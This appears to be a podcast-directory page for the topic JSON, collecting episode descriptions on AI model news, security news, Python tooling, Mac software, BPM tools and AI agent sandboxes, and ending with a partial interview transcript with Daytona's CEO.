Text-based open standard designed for human-readable data interchange
POPULARITY
Categories
Hey folks, Alex here, let me catch you up! I've had a feeling that this week is going to be crazy, as it started on the weekend MiniMax M3, then with Jensen announcing new RTX Spark, NVIDIA's first PC chip packing 1 petaflop of local AI power into thin laptops.A few days later at Microsoft BUILD, Satya & Mustafa from MAI dropped 7 AI models, completely pre-trained from scratch, including a new MAI-thinking-1, MAI-code and MAI-image 2.5 that started topping the image gen charts. Then other image models started racing to the top of the Arena benchmarks, IdeoGram 4 hitting becoming SOTA open weights image-gen model, and Reve 2 beating Nano Banana just a few hours after that. And then today, NVIDIA dropped Nemotron 3 Ultra, their latest 550B open weights model, data and training and Arena published a new agentic eval leaderboard and we got a new Gemma 4 12B. I've had the great pleasure to host Chris (@llm_wizard) from Nvidia, Peter Gostev from Arena and Karan from Nous Research (who were featured prominently by Jensen!) all on the show. Def don't miss this one! Let's get into the details. ThursdAI - Join the flock of folks who know what is happening in AI before everyone else.Open Source LLMs
SANS Internet Stormcenter Daily Network/Cyber Security and Information Security Stormcast
Continuing Scans for swagger.json https://isc.sans.edu/diary/Continuing+Scans+for+swaggerjson/33044/#comments Fake call detection on Android https://blog.google/security/android-fake-call-detection/ Anthropic's coordinated vulnerability disclosure dashboard https://red.anthropic.com/2026/cvd/ My Upcoming Classes https://www.sans.org/profiles/dr-johannes-ullrich
A lot of what we've been talking about lately is durable skills — the abilities that last regardless of how our tools and tech environment change. In today's episode, I want to step back from the AI conversation and focus on one of the most durable skills of all: feedback. We've all been on both the giving and receiving side, and we can probably count on one hand the times someone gave us feedback that genuinely drove a good change — that left us wanting to do better without feeling torn down. So how do we accomplish that kind of feedback, on both sides of the table? That's what this episode is all about. Start With Your Goal, Not Your Frustration: Before you give feedback, recognize that your gut impulse often comes from a negative emotion — frustration, feeling slighted, feeling disrespected. Those feelings are valid signals that something is off, but they aren't a sufficient reason to give feedback. Effective feedback is goal-oriented: ask yourself what you actually want to change before you say a word. Premature vs. Mature Feedback: Premature feedback is really about making sure someone knows how you feel — which can quietly turn into an attack so they share your pain. Mature feedback is forward-looking and aimed at improvement. Venting may give you catharsis in the moment, but if the behavior worsens or the relationship is damaged, the net outcome is negative. Why Asking for Feedback Changes Everything: Even hearing "can we meet for ten minutes, I have some feedback" measurably raises your heart rate and pushes you into a defensive state. But when you ask for feedback, your mind and body register that you're in control — same information, completely different physiological response. Make It Behavior-Based and Specific: Good feedback is about observable behavior — what a camera would have caught — not someone's core identity. If your feedback violates a person's self-concept (painting a competent engineer as incompetent), they have to change who they believe they are to accept it, and that gap rarely gets bridged in a 30-minute call. Use a Model — But Add the Intervention: The popular SBI model (Situation, Behavior, Impact) is a strong backbone, but it stops short. Don't just describe the past — partner with the person on what comes next. Think of it as SBI + Intervention: what can you commit to trying differently so the impact changes? That's where feedback becomes coaching. The Netflix Four A's: Aim to assist, make it actionable, show appreciation, and accept or discard. Lead with the intent to help, get specific about the behavior, appreciate the person's willingness and intent, and recognize that not every piece of feedback will be useful — both sides get to keep what's valuable and let the rest go. Receiving Feedback Well: When someone hands you messy, un-modeled feedback, you can walk them through the framework — "help me understand the situation, what behavior did you see, what was the impact?" People respect that you're engaging, shift into problem-solving mode, and give you more actionable feedback as a result. Episode Homework: Pay attention to patterns over time. One piece of feedback shouldn't be attached to your identity — but three or four that point in the same direction are worth introspecting on. Career development and feedback are two sides of the same door; walk through it and you grow.
Topics covered in this episode: CVE-2026-48710: A Maintainer's Perspective daily-stars-explorer Markdown to pdf with pandoc and typst postman2pytest Extras Joke Watch on YouTube About the show Brian #1: CVE-2026-48710: A Maintainer's Perspective Marcelo Trylesinski suggested by Lee Luocks Short version: users of Starlette: upgrade to Starlette 1.0.1 security professionals: we can't treat open source projects like corporations This top link is a Starlette security advisory with the title Missing Host header validation poisons request.url.path, bypassing path-based security checks The CVE apparently caused some negative press targeting starlette. However, “the vulnerability came from the application pattern and the deployment, never from something Starlette intended.” A quote from an OSTIF article: “This bug is a classic “responsibility gap” where if this maintainer didn't patch, thousands of exposed projects would have to individually secure their projects. In doing this work, they've voluntarily taken on the responsibility to protect the ecosystem from long-term systemic harm. As with all open source projects, they owed us nothing and could have left this to be everyone else's problem and took the extraordinary steps of helping the ecosystem.” Both X40 D-Sec and Ars Technica expected immediate fixes and responses from Starlette. That's not good. We can do better. Michael #2: daily-stars-explorer Explore the full history of any GitHub repository.
Ep 284 BBEdit 16 Searches for Text in Images, Adds Shortcuts Actions, and More JSON: 25 years Google Chrome Is Silently Downloading a 4GB AI Model! Here's the FIX! His entire Google account got permanently banned. Not just Drive. Gmail. YouTube. Every single service. Jabučnjak - David Pogue: Da mogu promijeniti povijest, izliječio bih Stevea Jobsa | Interview OS 26.5 Adds Encrypted RCS Messaging, Fixes Bugs Apple unveils new accessibility features, and updates with Apple Intelligence Recognition - Community - Apple Developer Apple Design Awards - 2026 finalists The App Store stopped over $2.2 billion in fraudulent transactions in 2025 Radu Dutzan: f u c k A p p l e ‘ s A p p R e v i e w -- This Is The Best Local Model Runner For Apple Silicon (oMLX) Indexing a year of video locally on a 5-year-old M1 Max with Gemma 4 31B AI didn't kill your junior pipeline. You did. | Andrew Murphy Turn on a Mac mini, Mac Studio, or iMac without pressing its power button - Apple Support No, Bambu Lab. You're Not Apple. You're MUCH Worse. Apple has open-sourced corecrypto, the foundational cryptographic library in Apple operating systems Apple in the Enterprise: A 2026 report card How did Apple make this work?? Zahvalnice Snimano 29.5.2026. Uvodna muzika by Vladimir Tošić, stari sajt je ovde. Logotip by Aleksandra Ilić. Artwork epizode by Saša Montiljo, njegov kutak na Devianartu
¡Episodio 800 de Atareao con Linux! Parece que fue ayer cuando empecé a grabar las primeras entregas compartiendo mis andanzas en el mundo de los servidores y el código abierto, y mirad hasta dónde hemos llegado. Muchísimas gracias de todo corazón por acompañarme en este viaje, por cada comentario, por cada descarga y por estar siempre ahí al otro lado del auricular trasteando y cacharreando conmigo.Para conmemorar este número tan redondo, hoy vamos a seguir explorando el apasionante mundo del Model Context Protocol (MCP), esa tecnología que está revolucionando la forma en la que interactuamos con la Inteligencia Artificial de forma local. Si en el episodio anterior nos centramos en una herramienta pasiva para consultar la previsión del tiempo, hoy vamos a dar un paso de gigante hacia la acción. Te voy a explicar en detalle cómo he diseñado e implementado un servidor MCP ToDo que dota a tu IA local de una memoria persistente a largo plazo. Sí, has escuchado bien: ¡vamos a curar de una vez por todas la amnesia de los modelos de lenguaje!Mi propuesta: Un gestor de tareas local programado en RustPara atajar este problema, me puse manos a la obra y programé un servidor MCP específico para la gestión de tareas utilizando Rust.Poniéndolo a prueba en vivo y en directoDurante el episodio de hoy te cuento exactamente cómo tengo desplegada esta solución en mi servidor doméstico.Optimización de tokens: El arte de no saturar a la IAUn detalle técnico fundamental que abordo en este episodio es el control y optimización del contexto.Capítulos del episodio: 00:00:00 Intro: El hito del episodio 800 y el problema de la memoria en las IA 00:00:32 El consumo de tokens y los límites de la ventana de contexto 00:01:22 Herramientas externas para dotar de memoria a los modelos de lenguaje 00:03:26 Solucionando la "amnesia" de la IA con una base de datos local 00:04:44 Implementación técnica: Un servidor MCP rápido en Rust con Podman y Docker 00:06:14 Cómo configurar la integración del MCP ToDo en OpenWeb UI paso a paso 00:08:29 Demostración en vivo: Listar, añadir y consultar tareas pendientes 00:09:56 El reto del lenguaje natural, el formato de fechas y los logs internos 00:12:05 Gestión avanzada: Marcar tareas completadas y asignar etiquetas 00:14:52 ¿Cómo funciona bajo el capó? Operaciones CRUD y base de datos relacional 00:16:42 Por qué elegí SQLite frente a JSON (búsquedas rápidas con FTS5) 00:18:22 El truco para evitar que tu IA colapse: Paginación y control de tokens 00:20:20 Seguridad de archivos: El rol del MCP como intermediario seguro 00:22:16 El siguiente nivel: De la consulta pasiva de información a la escritura activa 00:23:21 El puente definitivo hacia las bases de datos vectoriales y RAG 00:23:58 Próximo Workshop presencial sobre IA local en Linux Center (Slimbook) 00:24:52 Código abierto en GitHub, infografías de Atareao y avance del próximo episodio 00:25:54 Despedida, comunidad y la red de podcasts de Sospechosos HabitualesMás información y enlaces en las notas del episodio
On the show floor at NAB in Las Vegas, Jim Tierney of Digital Anarchy discusses ShotNotes, a Premiere Pro panel that keeps project notes, time codes, links, timers, and collaboration details inside the edit instead of scattered across documents or sticky notes. He also previews Beauty Box Video AI development and explains where generative AI can help video pros, where traditional AI still shines, and why AI is useful but not a magic bullet. Show Notes: Chapters: [0:02] Introduction from NAB 2026[0:11] Jim Tierney joins the conversation on the show floor[0:38] Digital Anarchy introduces Shot Notes for Premiere Pro[0:50] Keeping notes attached to sequences and time code[1:03] Linking notes to other sequences, projects, and web resources[1:14] Time tracking for tasks, management, and invoicing[1:26] Replacing notebooks, documents, and sticky notes inside Premiere[1:47] Sharing embedded project notes and exporting JSON[2:26] Why project-based notes are better than separate files[2:43] User feedback from Transcriptive and common note-taking habits[2:52] Frame.io comparisons and Premiere's lack of a built-in notepad[3:02] How Shot Notes works with markers[3:33] Marker limitations and richer Shot Notes features[3:45] Exporting notes as PDFs[4:15] Ongoing Digital Anarchy development[4:20] AI features being developed for Beauty Box[4:37] How Jim Tierney now views AI in professional workflows[4:59] Separating generative AI from other AI tools[5:21] Using generative AI for backgrounds and B-roll[5:39] Why generative AI is still limited for full film creation[6:01] Older-school AI, face parsing, and Beauty Box[6:21] AI as a coding aid with limitations[6:46] AI as a useful tool, not a magic bullet[7:01] Beauty Box, face correction, and podcast visuals[7:38] Beauty Box as visual makeup rather than face recreation[7:57] Eye whitening, teeth whitening, and cleaning up original footage[8:16] The difference between subtle enhancement and generative alteration[8:46] Taking the edge off camera-added skin texture[8:58] Where to learn more about Digital Anarchy products[9:09] Closing from NAB in Las Vegas Support: Become a MacVoices Patron on Patreon http://patreon.com/macvoices Enjoy this episode? Make a one-time donation with PayPal Connect: Web: http://macvoices.com Twitter: http://www.twitter.com/chuckjoiner http://www.twitter.com/macvoices Mastodon: https://mastodon.cloud/@chuckjoiner Facebook: http://www.facebook.com/chuck.joiner MacVoices Page on Facebook: http://www.facebook.com/macvoices/ MacVoices Group on Facebook: http://www.facebook.com/groups/macvoice LinkedIn: https://www.linkedin.com/in/chuckjoiner/ Instagram: https://www.instagram.com/chuckjoiner/ Subscribe: Audio in iTunes Video in iTunes Subscribe manually via iTunes or any podcatcher: Audio: http://www.macvoices.com/rss/macvoicesrss Video: http://www.macvoices.com/rss/macvoicesvideorss
On the show floor at NAB in Las Vegas, Jim Tierney of Digital Anarchy discusses ShotNotes, a Premiere Pro panel that keeps project notes, time codes, links, timers, and collaboration details inside the edit instead of scattered across documents or sticky notes. He also previews Beauty Box Video AI development and explains where generative AI can help video pros, where traditional AI still shines, and why AI is useful but not a magic bullet. Show Notes: Chapters: [0:02] Introduction from NAB 2026 [0:11] Jim Tierney joins the conversation on the show floor [0:38] Digital Anarchy introduces Shot Notes for Premiere Pro [0:50] Keeping notes attached to sequences and time code [1:03] Linking notes to other sequences, projects, and web resources [1:14] Time tracking for tasks, management, and invoicing [1:26] Replacing notebooks, documents, and sticky notes inside Premiere [1:47] Sharing embedded project notes and exporting JSON [2:26] Why project-based notes are better than separate files [2:43] User feedback from Transcriptive and common note-taking habits [2:52] Frame.io comparisons and Premiere's lack of a built-in notepad [3:02] How Shot Notes works with markers [3:33] Marker limitations and richer Shot Notes features [3:45] Exporting notes as PDFs [4:15] Ongoing Digital Anarchy development [4:20] AI features being developed for Beauty Box [4:37] How Jim Tierney now views AI in professional workflows [4:59] Separating generative AI from other AI tools [5:21] Using generative AI for backgrounds and B-roll [5:39] Why generative AI is still limited for full film creation [6:01] Older-school AI, face parsing, and Beauty Box [6:21] AI as a coding aid with limitations [6:46] AI as a useful tool, not a magic bullet [7:01] Beauty Box, face correction, and podcast visuals [7:38] Beauty Box as visual makeup rather than face recreation [7:57] Eye whitening, teeth whitening, and cleaning up original footage [8:16] The difference between subtle enhancement and generative alteration [8:46] Taking the edge off camera-added skin texture [8:58] Where to learn more about Digital Anarchy products [9:09] Closing from NAB in Las Vegas Support: Become a MacVoices Patron on Patreon http://patreon.com/macvoices Enjoy this episode? Make a one-time donation with PayPal Connect: Web: http://macvoices.com Twitter: http://www.twitter.com/chuckjoiner http://www.twitter.com/macvoices Mastodon: https://mastodon.cloud/@chuckjoiner Facebook: http://www.facebook.com/chuck.joiner MacVoices Page on Facebook: http://www.facebook.com/macvoices/ MacVoices Group on Facebook: http://www.facebook.com/groups/macvoice LinkedIn: https://www.linkedin.com/in/chuckjoiner/ Instagram: https://www.instagram.com/chuckjoiner/ Subscribe: Audio in iTunes Video in iTunes Subscribe manually via iTunes or any podcatcher: Audio: http://www.macvoices.com/rss/macvoicesrss Video: http://www.macvoices.com/rss/macvoicesvideorss
Topics covered in this episode: Dumb Ways for an Open Source Project to Die How to create a pylock.toml lockfile https://github.com/facebook/Lifeguard Choosing a Python Logging Library in 2026 Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Training The Complete pytest Course Patreon Supporters Connect with the hosts Michael: @mkennedy@fosstodon.org / @mkennedy.codes (bsky) Brian: @brianokken@fosstodon.org / @brianokken.bsky.social Show: @pythonbytes@fosstodon.org / @pythonbytes.fm (bsky) Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Monday at 11am PT. Older video versions available there too. Finally, if you want an artisanal, hand-crafted digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Michael #1: Dumb Ways for an Open Source Project to Die Core categories The maintainer left The maintainer is still there Sabotage and capture The release pipeline broke Force majeure The world moved on The project split - Examples Bulma PRs still from 2023, issues and PRs with no maintainer response for years, last release 1.5 years ago diskcache Similar, got hired by OpenAI, crickets after that Brian #2: How to create a pylock.toml lockfile Tim Hopper Tim walks through using uv, pip and pdm to create pylock.toml files. Recommendation: use uv export --format pylock.toml -o pylock.toml He also has How to install from a pylock.toml lockfile with pip but the short version is: use -r because tools treat it like a requirements file Michael #3: https://github.com/facebook/Lifeguard Lifeguard is a static analyzer to detect Lazy Imports incompatibilities and ease the adoption overhead for Lazy Imports in Python. I'm more excited about lazy imports after my Cutting Python Web App Memory Over 31% experience Some Python patterns depend on imports executing immediately. For example: Module-level side effects — a module that registers a handler or modifies global state at import time will behave differently if that import is deferred. The registry pattern — a module that registers itself (e.g., adding to a global dict) when imported will silently fail to register under Lazy Imports. sys.modules manipulation — code that reads or writes sys.modules assumes prior imports have already executed. Metaclasses and __init_subclass__ — class creation side effects may depend on imports being resolved. Project Stage: Beta Lifeguard is in active development. We are aiming to be ready for general use by the Python 3.15 final release. Brian #4: Choosing a Python Logging Library in 2026 Ayooluwa Isaiah " which libraries matter, how they compare, where they overlap with the standard module, and when each one makes sense.” The slant with this article is the need to log json output, which seems reasonable as things like API entry and exit point logging will include json. Covered libraries standard library logging with a hat tip to python-json-logger Same site has a guide to setting up python-json-logger structlog Loguru Logbook picologging Some benchmarks with structlog, stdlib+json, and Loguru, with structlog coming out faster I liked the Loguru example I'm going to have to try @logger.catch and logger.exception() for easily logging exceptions and serialize=True to enable JSON output. Extras Brian: When Women Stopped Coding - Planet Money segment , spotted on BlueSky from Savannah Ostrowski Lean TDD is now leaner Still working on audio version, but some great changes in 0.7.1 version Ch 6, TDD Interpretations, move ATDD and some of BDD to chapter Ch 7, Change name to TDD with Teams: BDD and ATDD Ch 9, Lean TDD, streamline steps and chapter Ch 10, Change name to Lean TDD with Teams: Lean ATDD Ch 11, Lean TDD with AI, Add short discussion about guardrails and security Michael: New course: Python Web Security: OWASP Top 10 with Agentic AI All courses now with Spanish subtitles, see announcement Joke: Stop texting me
Guests: Gal Ordo, Co-founder & CPO @ Native Topics: In Episode 186, we debated 'Native vs. Third-Party' as a binary choice. Native seems to be a third-party vendor whose entire existence depends on the belief that cloud-native controls are superior. Does your platform validate the 'Cloud Provider' side of the debate (that their controls are enough), or does the fact that you exist prove the 'Third-Party' side (that native interfaces aren't enough)? A key argument against native controls is an AWS WAF and a Google Cloud Armor don't behave the same way. If your tool manages native controls across multi-cloud, how do you handle the 'lowest common denominator' problem? Do you dumb down the policy to fit all clouds, or do you expose the unique complexity of each one? GuardDuty and SCC produce similar but meaningfully different results. How do you abstract across that so an analyst or IR team isn't having to dig into the exact meaning of the different JSON fields in their output? We often say native tools are 'good enough' for 80% of use cases but lack the depth of specialized third-party vendors (like a dedicated CNAPP or DLP). By betting your company on orchestrating native controls, are you effectively betting that 'good enough' is the future of the market? What happens when a customer needs a feature that the CSP hasn't built yet? What fraction of your users are taking this from a "I'm 80% this one cloud, I need great coverage there and good enough elsewhere" vs "I'm truly multi-cloud" or even scarier "I have a workload that is active spanning clouds"? Do your customers push you towards helping with the kinds of SaaS platforms that SSPM vendors cover? If AWS and Google Cloud suddenly decided to make their native security UIs perfect and unified tomorrow, would your company cease to exist? Or is the complexity of the cloud strictly increasing, guaranteeing you job security forever? Related: Video version EP186 Cloud Security Tools: Trust the Cloud Provider or Go Third-Party? An Epic Debate, Anton vs Tim EP160 Don't Cloud Your Judgement: Security and Cloud Migration, Again! The Great Cloud Security Debate: CSP vs. Third-Party Security Tools native.security blog
What's Your Baseline? Enterprise Architecture & Business Process Management Demystified
Roland and J-M go solo to pull back the curtain on something that's been years in the making: BPM OS, a purpose-built, local-first tool stack designed to help small, talented process and architecture teams stand up a real BPM practice — without the vendor dependency, IT overhead, or 12-month procurement nightmare.In this episode of the podcast we talk about: Most BPM programs fail not because of bad content, but because organizations treat it as a pure IT exercise — buy a platform, check the box, and wonder why nothing sticks.The three pillars every BPM capability needs are content, governance, and adoption — yet most organizations only address the first one.Knowledge rented from consultants or SaaS vendors disappears the moment you stop paying; BPM OS is built on the principle that you own it outright, forever.BPM OS targets three groups: small internal teams doing more with less, consulting organizations that want baked-in methodology for client delivery, and vendors looking to bundle a white-labeled practice layer with their platforms.Groundwork is the brainstorming and planning app — dump ideas onto a canvas, sort them into zones, and shift into structured planning mode with priorities and rough timelines.Playbook is a lightweight wiki for capturing structured knowledge, course profiles, stakeholder analyses, and methodology documentation — with templates so you never start from a blank page.Atlas generates visual subway maps of your learning curriculum or capability landscape, complete with time-sensitive station states, deprecation indicators, and links back to Playbook pages.Outline lets you define the detailed content structure of a course or deliverable in a hierarchical, mind-map-style view — moving from “What do we need to teach?” to "Exactly what are the chapters and items?”Course Flow is a Kanban-based project management tool for developing and iterating on courses, complete with a built-in feedback form, an inbox for triage, and a status dashboard across all active projects.Cadence is a personal (and optionally team) task planner organized by day and category — with recurring daily items, carry-forward of incomplete tasks, and a simple velocity metric to spot overload before it becomes a crisis.The entire stack runs on Node.js, saves files as Markdown and JSON (no database required), plays nicely with Google Drive or OneDrive for backup, and optionally connects to GitHub or GitLab for full version history.Apps interoperate through lightweight linking and import/export — cards from Groundwork flow into Atlas, tasks from CourseFlow export into Cadence, and every Playbook page carries a permanent link that works anywhere in the stack.Find out more and download your free personal copy of Cadence at whatsyourbaseline.com/bpm-os—and check the episode show notes for a PDF overview of all six apps.Reach out by emailing hello@whatsyourbaseline.com or subscribe to our newsletter and articles on Substack at whatsyourbaseline.substack.com.
If you're a software engineer right now, you likely feel like your world is changing overnight. We are writing half or less the amount of code that we wrote even a year ago, which represents a seismic, groundbreaking shift in our industry. For many of us, this career has always been engaging for deeply creative and intellectual reasons—and that excitement is still here. But our mental models of what it means to be a good engineer, and what it means to keep improving, have gone a little stale. In today's episode, I want to talk about a distinction that I believe will become the cornerstone mistake for seasoned engineers: confusing _practice_ with _adaptation_, and leaning on the wrong one at the worst possible moment. Two Surfaces Coming Into Contact: Picture your knowledge, skills, and toolset as one surface, and the actual state of the art as another. We've always known the surface area we could learn far exceeds what we can learn, which forces us to place bets on a learning strategy. What's changing is how fast that second surface is moving underneath us. Improvement by Practice vs. Improvement by Change: Practice is wielding what you've already adopted—smoothing out errors, building muscle memory, refining what you already know. Adaptation is fundamentally folding something new into your repertoire. Both are real forms of improvement, but they are not interchangeable. The Cornerstone Mistake for Senior Engineers: Later in your career, the time you spend adapting naturally goes down as you settle into practice. The biggest error I'm already watching engineers make is moving too quickly toward practice when the industry is loudly calling for adaptation instead. Inspect and Adapt—at the Right Altitude: Sprint retros were never really about getting marginally better at the thing you already do. The intent of "inspect and adapt" is to step up one level and examine the system. The trap is treating adaptation like a minor refinement—getting a little better at prompting—when it should mean asking whether you're thinking about prompting in the wrong way entirely. Question the Ratio, Not Just the Output: Real adaptation looks like asking whether you have the right mix of human and agent on a problem. Are you leaning on the agent for things you shouldn't, or failing to lean on it for the things you should? Have you genuinely thought about how sub-agents or an agent team are working the problem you're producing? A Spectrum, Not a Binary: On one end, you make micro-adjustments to your refinement process. On the other end of experimentation, you ask whether refinement—or even having engineers plan the work—is the right thing at all. The point isn't that practice is dead; it's that the industry is changing fast enough that the adaptive end of that spectrum deserves far more of your attention than it used to. Episode Homework: Take something you currently treat as a practice problem—"how do I refine tickets faster?"—and step up a level. Ask the adaptive version of the question instead: "Is refinement even the right thing anymore?"
Take the 2026 AI Engineering Survey and get >$2k in credits and AIE WF tickets!On the product side, everyone is getting Computer - Perplexity, Manus, Cursor, and so on. Meanwhile on the research side, agentic evals like TerminalBench and GDPVal are also assuming computer (Harbor). On both ends, the consolidating LLM OS stack has become a standard toolkit, and Daytona is one of a small set of AI Infra companies that are booming because of it.“The end of localhost” has been Ivan Burazin's obsession for more than a decade.Something that is all too familiar…Long before agents became the default way people talked about software development, Ivan was already chasing the idea that development should not depend on a fragile local machine. CodeAnywhere, one of the first browser-based IDEs, was an early attempt at that future: move the development environment into the cloud, make setup reproducible, and free developers from the endless “works on my machine” tax.The thesis was directionally right, but the market wasn't ready yet.However, agents changed that. They do not care about a laptop, desk setup, or favorite editor. They need a computer they can access through an API: something stateful enough to keep working, fast enough to spin up instantly, flexible enough to resize, isolated enough to be safe, and composable enough to run the messy real-world workflows that real software engineering actually requires.Daytona isn't just selling “sandboxes” in the narrow code-execution sense. It is the latest version of Ivan's original localhost thesis.In this episode, Daytona's CEO joins swyx to explain why AI agents need more than code execution boxes: they need composable computers, stateful sandboxes, instant startup, dynamic resources, and infrastructure that can survive workloads going from zero to 100,000 CPUs.We go deep on the new agent compute market: Daytona's hard pivot from human dev environments to AI sandboxes, the New Year's Eve MVP that customers begged for, why Daytona runs on bare metal with its own scheduler, how one customer runs almost 850,000 sandboxes a day, and why RL/eval workloads went from 0% to roughly 50% of usage in just months. Ivan also explains why agents need Windows and macOS machines, why CLI may matter more than MCP, why Kubernetes is painful for this workload, and why the future AI cloud may look more like Stripe than AWS.We discuss:* How Daytona grew out of CodeAnywhere, Shift, and the “end of localhost” thesis* Why Daytona pivoted from human dev environments to AI sandboxes* Why agents need composable computers instead of disposable code execution boxes* The New Year's Eve MVP that customers chased API keys for* Why Daytona chose bare metal, stateful snapshots, and its own scheduler* How Daytona spins up one sandbox in ~60ms and 50,000 sandboxes in ~75 seconds* Why Daytona's biggest customer runs ~850,000 sandboxes a day* How RL/eval workloads create zero-to-100,000 CPU spikes* Why RL workloads went from 0% to roughly 50% of Daytona usage* Why customers compare Daytona against EKS/GKS and say they're “never going back”* Why every AI agent may need a computer, including Windows and macOS environments* The Apple licensing constraints that make macOS sandboxes hard* Why CLI gives agents more power than MCP* How open source helps agents integrate Daytona* Why agent-generated PRs may break today's CI/CD assumptions* Why AI SaaS companies reselling tokens may face a cold shower* Why the AI cloud may look more like Stripe than AWSIvan Burazin* LinkedIn: https://www.linkedin.com/in/ivanburazin* X: https://x.com/ivanburazinDaytona* Website: https://www.daytona.io* X: https://x.com/daytonaioTimestamps* 00:00:00 Hook* 00:01:12 Introduction* 00:03:15 CodeAnywhere, Shift, and the end of localhost* 00:05:58 What Daytona is: composable computers for AI agents* 00:08:07 The pivot from dev environments to AI sandboxes* 00:10:17 The New Year's Eve MVP and customers begging for API keys* 00:12:56 Bare metal, stateful sandboxes, and Daytona's scheduler* 00:17:28 60ms startup, 50,000 sandboxes, and 850K daily runs* 00:21:53 Spiky RL/eval workloads and the new agent infra problem* 00:28:12 RL workloads, Kubernetes pain, and dynamic resizing* 00:33:31 Why every AI agent needs a computer* 00:38:48 macOS sandboxes and Apple's licensing problem* 00:44:28 Why CLI may matter more than MCP* 00:48:11 Open source, GitHub stars, and agent integration* 00:53:11 Git, CI/CD, and agent collaboration bottlenecks* 00:58:15 Founder life and building a 25-person infra company* 01:02:44 AI SaaS, token resale, and API-first business models* 01:06:10 GPU sandboxes, data centers, and compute growth* 01:09:48 Why the AI cloud may look more like Stripe than AWS* 01:11:26 Closing thoughtsTranscriptIntroduction: Daytona, CodeAnywhere, and the End of LocalhostSwyx [00:00:02]: Okay, we're in the studio with Ivan Burazin, CEO of Daytona. Welcome.Ivan [00:00:07]: Thanks for having me, man.Swyx [00:00:08]: Ivan, you and I go back.Ivan [00:00:10]: Way back.Swyx [00:00:11]: How I don't even know how, you found, did you reach out or, for Shift.Ivan [00:00:17]: I reached out to you. The reason was you - we were just - we were thinking about I was one of the co-founders of CodeAnywhere, the first browser-based IDE, and so we were thinking a long time of, localhost should die. And you had this article.Swyx [00:00:29]: End of localhost.Ivan [00:00:30]: Then I reached out to you because of that, and then we talked, and I was actually at a different job and learning about I was the head of, developer experience, and you were quite well-versed in that, and I actually reached out to you, among other people, how do we go about that? What are the key things and whatnot at this point in time? And you were nice enough to take the call, and I remember I was late on your call with you.Swyx [00:00:51]: I don't remember.Ivan [00:00:52]: I remember because I was with my then I'm thinking of a girlfriend or wife at that point in time, I'm not sure. It's the same person, so that's great, and I was late ‘cause we were, in, Italy on, vacation, and then I was late for something. I felt so bad, and you were so nice to be, good about.Swyx [00:01:10]: The reason I'm nice is because I'm also late to other people, so it's like, who's, who's without sin here, yeah, so I have to, for those who don't know, InfoBip Shift, there's this whole thing that, you did in the past, and, and that was basically one of the inspirations for me starting AI Engineer, which is like, I have to thank you for giving me that push to be like, “Oh, you can, you can build and sell conferences?”Ivan [00:01:34]: I remember you asked you asked me at the beginning to give me advisory shares, and I was so focused on what we were doing, I said no, and I should've took the advisory shares. So I'm sorry, dude. But anyway.Swyx [00:01:43]: We're not, we're not venture backed.Ivan [00:01:44]: No, it doesn't matter.Swyx [00:01:45]: It's Yeah, anyway, so I think what's impressive about you is that CodeAnywhere is the thing that you've been trying to build, and, you kind of put it on hold and then came back after InfoBip. Just give us the story, do you - the story and the origin story, going into Daytona.From CodeAnywhere and Shift to DaytonaIvan [00:02:05]: Sure. Like, really way back, me and my co-founder have been together. I say this, I've said this multiple times, it's like we were married and divorced and married. Some people actually ask me is my co-founder my partner. they thought it literally. It's not literally, but we have done multiple companies together, and to your point, we had this shift where we went from the CodeAnywhere to the conference called Shift, and then back to, Daytona. We originally started stacking servers, doing like virtualization in the early 2000s and, routers and doing basically all these things, at a foundational level, and that was a services company which we sold to focus on what my co-founder actually invented, which was the very first browser-based IDE, right, I say the first. Before us was actually Heroku. They did it for a very short time until they became Heroku. But outside of them, we were the only one, and it was called.Swyx [00:02:55]: There was Cloud9.Ivan [00:02:57]: Cloud9 came out slightly after us. There was Replit, which came out when we stopped doing it, Replit came out, and they have been successful since then, which is great. There was Nitrous.io. There was quite a few that existed at the time, but it was like too early. But the interesting part is that we, at that point in time, because there was no VS Code, there was no Kubernetes, and Docker had just started when we Or I'm not sure if it was even public at that point in time. And so we had to build everything to the whole stack ourselves and that was the key learning that we brought into and that we've been using in Daytona today. So it was super early. There's about 3 million people used CodeAnywhere. It was slightly, it was angel-backed more than venture-backed. We ended up paying everyone back because it didn't have that sort of scale. But, three years ago, we started something similar with Daytona, which is not what we are today, but it was automating dev environments for human engineers, the basically the underlying stack of CodeAnywhere. And then we did a hard pivot last January to sandboxes. And so here we are.Swyx [00:04:01]: Historic pivot, yeah, and, it's one of those things where, I had independently invested in CodeAnywhere, but also in E2B, and then both of you pivoted into the same thing, and I'm like, “F**k.”Ivan [00:04:12]: You invested, you invested in Daytona. You invested in Daytona. But you were the first If we had not got your check, we wouldn't have done it.Swyx [00:04:18]: No way.Ivan [00:04:19]: No, it was like, “We have to get him on board first,” and you were that kicker that we, that got us off the ground.Swyx [00:04:23]: No, because you were putting me on your pitch deck, man. I was like, “Man, this is like a good trip if I don't invest.”Ivan [00:04:29]: That's because it was your quote. It's like we.Swyx [00:04:30]: Yeah. It's the end of localhost.Ivan [00:04:31]: Did a bunch of research about end of localhost and who was interested in that,.Swyx [00:04:34]: No, that's like, I put, I wrote that blog post, and every single company in that field reached out to me, and then every VC who was receiving those pitches then also had to call me and, talk it, talk through it with me.Ivan [00:04:47]: It's finally happening though.Swyx [00:04:48]: It was really super interesting.Ivan [00:04:48]: It's finally happening.Swyx [00:04:49]: It's finally happening.Ivan [00:04:49]: Yeah, it's finally.Swyx [00:04:49]: It's finally happening, with maybe sort of non-human users. Yeah, so what is Daytona today? Let's get like a quick description. I'm wearing the shirt.What Daytona Is Today: Composable Computers for AI AgentsIvan [00:04:58]: You're wearing the shirt. Yes,.Swyx [00:04:59]: It says, I think your branding is very good. Like, it's very consistent. It runs AI code. Like, it cannot be simpler.Ivan [00:05:05]: Exactly, but we're gonna probably have to change that.Swyx [00:05:07]: Oh, s**t.Ivan [00:05:07]: It's also a subset of what we do. Unfortunately, we really love this, Run AI Code is super simple. People interpret it different ways. I think we've given out 5,000, 6,000 of these shirts. People wear them with pride because it doesn't really market about us.Swyx [00:05:21]: Yeah, Daytona's on the back.Ivan [00:05:22]: It markets the back. It markets to the person itself, so I think we did a really good job on that one. But it is also a subset of what we do, because people, when they think about Run AI Code, they just think about these small, let's call it isolates, code execution boxes that, you send some code, you get an output. Whereas what Daytona is today is essentially composable computers for AI agents. It is, the market calls them sandboxes which can be misleading.Swyx [00:05:44]: All these things. All these things on.Ivan [00:05:45]: Yeah, exactly, 